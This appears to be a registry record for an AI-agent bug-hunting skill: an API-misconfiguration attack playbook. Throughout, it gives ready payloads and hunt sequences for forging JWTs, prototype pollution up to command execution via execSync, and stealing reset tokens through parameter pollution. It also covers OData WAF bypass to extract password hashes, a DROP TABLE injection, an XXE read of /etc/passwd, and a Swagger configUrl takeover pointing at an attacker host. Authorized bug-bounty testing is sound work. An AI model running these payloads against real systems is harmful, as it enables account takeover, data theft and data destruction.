{"id":"hunt-api-misconfig","name":"hunt-api-misconfig","summary":"Hunt APIのセキュリティミス設定 — 大量割り当て、プロトタイプ汚染、HTTP動詞の改ざん。大量割り当て:プロファイル/アカウント/リセットエンドポイントで{is_admin:true, role:admin, verified:true}を送信してください—サーバーはブラインドで適用されます。","body":"## 12. API SECURITY MISCONFIGURATION\n\n### Mass Assignment\n```javascript\nUser.update(req.body)  // body has {\"role\": \"admin\"} → privilege escalation\n```\n\n### JWT None Algorithm\n```python\nheader = {\"alg\": \"none\", \"typ\": \"JWT\"}\npayload = {\"sub\": 1, \"role\": \"admin\"}\ntoken = base64(header) + \".\" + base64(payload) + \".\"  # no signature\n```\n\n### JWT RS256 → HS256 Algorithm Confusion\n```python\n# Get server's public key from /.well-known/jwks.json\n# Sign token with public key as HMAC secret\ntoken = jwt.encode({\"sub\": \"admin\", \"role\": \"admin\"}, pub_key, algorithm=\"HS256\")\n# Server uses RS256 key as HS256 secret → accepts it\n```\n\n### Prototype Pollution\n```javascript\n// Server-side — Node.js merge without protection\n{\"__proto__\": {\"admin\": true}}\n{\"constructor\": {\"prototype\": {\"admin\": true}}}\n// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin\n```\n\nFor server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor\nJSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,\nor webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype\nstate reaches a later operation.\n\nHunt sequence:\n\n1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.\n   Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.\n2. **Pollute harmless marker properties.** Send variants such as:\n\n```\n{\"__proto__\":{\"polluted\":\"pp-1337\"}}\n{\"constructor\":{\"prototype\":{\"polluted\":\"pp-1337\"}}}\n__proto__[polluted]=pp-1337\nconstructor[prototype][polluted]=pp-1337\n```\n\n3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render\n   endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,\n   server errors mentioning object properties, changed job output, template/render errors, or command/job\n   behavior changes.\n4. **Escalate only through learned sinks.** Candidate properties depend on the sink:\n\n```\n{\"__proto__\":{\"json spaces\":10}}\n{\"__proto__\":{\"status\":555}}\n{\"__proto__\":{\"isAdmin\":true,\"role\":\"admin\"}}\n{\"__proto__\":{\"shell\":\"/bin/bash\",\"argv0\":\"node\",\"NODE_OPTIONS\":\"--inspect\"}}\n{\"__proto__\":{\"execArgv\":[\"--eval\",\"process.mainModule.require('child_process').execSync('id')\"]}}\n```\n\n5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,\n   export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only\n   when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.\n\n### Server-Side Parameter Pollution in Backend URL / REST URL Construction\n\nUse this when a frontend form or endpoint appears to call a server-side API on your behalf\n(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not\nordinary client-side query pollution. The server takes your input and interpolates it into a backend\nURL path or query string, such as:\n\n```\n/api/internal/users/<username>/field/email\n/api/users/<id>\n/api/users?username=<username>&field=email\n```\n\nHunt sequence:\n\n1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look\n   for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.\n   If there is a reset/account form, test known usernames first to learn the normal success/error shape.\n2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:\n   `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.\n   Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned\n   fields mean your value is being interpreted by a server-side URL router, not merely validated as text.\n3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the\n   referenced account, the input is in a REST path segment. Then try appending route fragments such as\n   `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest\n   of the original backend path with `#` or `%23` when the backend URL parser honors fragments.\n4. **Discover API documentation from errors.** When an error says to consult the API definition, probe\n   common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`,\n   `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the\n   spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources\n   and field names.\n5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a\n   sensitive field such as a reset token or secret for another user, then using that token in the normal\n   application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing\n   feedback.\n\nPayload patterns to try, adapted to the observed parameter name:\n\n```\nusername=administrator%23\nusername=administrator%3f\nusername=administrator%2f..%2fvictimuser\nusername=administrator/../victimuser\nusername=administrator/field/email%23\nusername=administrator/field/id%23\nusername=administrator/field/passwordResetToken%23\nusername=administrator%2ffield%2fpasswordResetToken%23\n```\n\n### CORS Exploitation\n```bash\n# Test: reflected origin + credentials\ncurl -s -I -H \"Origin: https://evil.com\" https://target.com/api/user/me\n# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true\n# → CRITICAL: attacker reads credentialed responses\n```\n\n---\n\n## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)\n\nOData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.\n\n### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`\n\n```\nGET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')\nGET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')\n```\n\nIterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))\n\n### Attack class 2 — `$orderby` / `$select` column-disclosure bypass\n\n```\nGET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname\n```\n\n`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; \"more dangerous than the first because it directly returned the data\" per Stratus.\n\n### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations\n\n```\nPOST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1\n--batch_1\nContent-Type: application/http\nGET Users?$filter=1 eq 1 HTTP/1.1\n--batch_1--\n```\n\nWAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.\n\n### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass\n\n```\nGET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $\nGET /api?%2524filter=...                                # double-encoded\nGET /Users(1)/$value                                    # path-segment style\n```\n\nMixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))\n\n### Attack class 5 — OData → real SQLi when library passes filter raw\n\n```\n$filter=Name eq 'x'); DROP TABLE Users--'\n```\n\nOnly triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM \"file:///etc/passwd\">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).\n\n### Bonus — `$expand` navigation-property IDOR\n\n```\nGET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))\n```\n\nAuthorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).\n\n### Detection heuristics\n\n- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`.\n- Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.\n- Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL.\n- Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.\n\n---\n\n## NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)\n\nNSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (`/swagger`, `/swagger/v1/swagger.json`, `/swagger/index.html`) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.\n\n### Default discovery paths (cross-references `web2-recon`)\n\n```\n# NSwag / Swashbuckle (ASP.NET Core)\n/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json\n/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs\n/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json\n\n# Generic OpenAPI\n/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json\n\n# Java / Spring (Springfox / springdoc)\n/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources\n\n# Python (FastAPI / Connexion)\n/docs, /redoc, /openapi.json\n\n# Quarkus\n/q/openapi, /q/swagger-ui\n\n# GraphQL adjacent\n/graphql, /graphiql, /playground, /altair, /voyager\n```\n\nTools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.\n\n### Attack chains\n\n**A. Spec disclosure → mass IDOR / BOLA.** Spec lists every `GET /api/v1/users/{userId}/...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize/`ffuf -mc 200`. Common case: spec leaks `/api/admin/users/{id}/reset-password` documented but missing `[Authorize(Roles=\"Admin\")]` on the controller — low-priv ATO.\n\n**B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH /users/me` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.\n\n**C. Hidden endpoints.** Specs document `/internal/*`, `/debug/*`, `/v0/*`, `/legacy/*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.\n\n**D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https://evil/spec.json`. Spec routes point back at the legitimate origin so the victim's \"Try It Out\" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https://hackerone.com/reports/3124103))\n\n### Disclosed cases\n\n- **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).\n- **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.\n- **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).\n- **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.\n- **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.\n- **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https://www.cloudsek.com/threatintelligence/threat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))\n- **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.\n\n### Detection checklist\n\n1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application/json` AND body matching `\"swagger\"` or `\"openapi\"`.\n2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner / Autorize.\n3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.\n4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.\n5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.\n- **`hunt-auth-bypass`** — JWT flaws collapse the entire auth layer. Chain primitive: JWT `alg=none` + `hunt-auth-bypass` → impersonate any user by setting `sub` to victim ID, no signature required.\n- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget chain) → RCE on the API node.\n- **`hunt-subdomain`** — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist `*.target.com` + subdomain takeover → attacker-controlled origin reads credentialed API responses.\n- **`security-arsenal`** — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (`is_admin`, `role`, `verified`, `permissions`, `org_id`, `tenant_id`).\n- **`triage-validation`** — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-api-misconfig","license":"MIT","category":"coding","lang":"en","tokens":4310,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["arxiv.org","blog.vidocsecurity.com","evil.com","hackerone.com","owasp.org","portswigger.net","target.com","thehackernews.com","www.cloudsek.com","www.f5.com","www.stratussecurity.com","www.upguard.com"]}}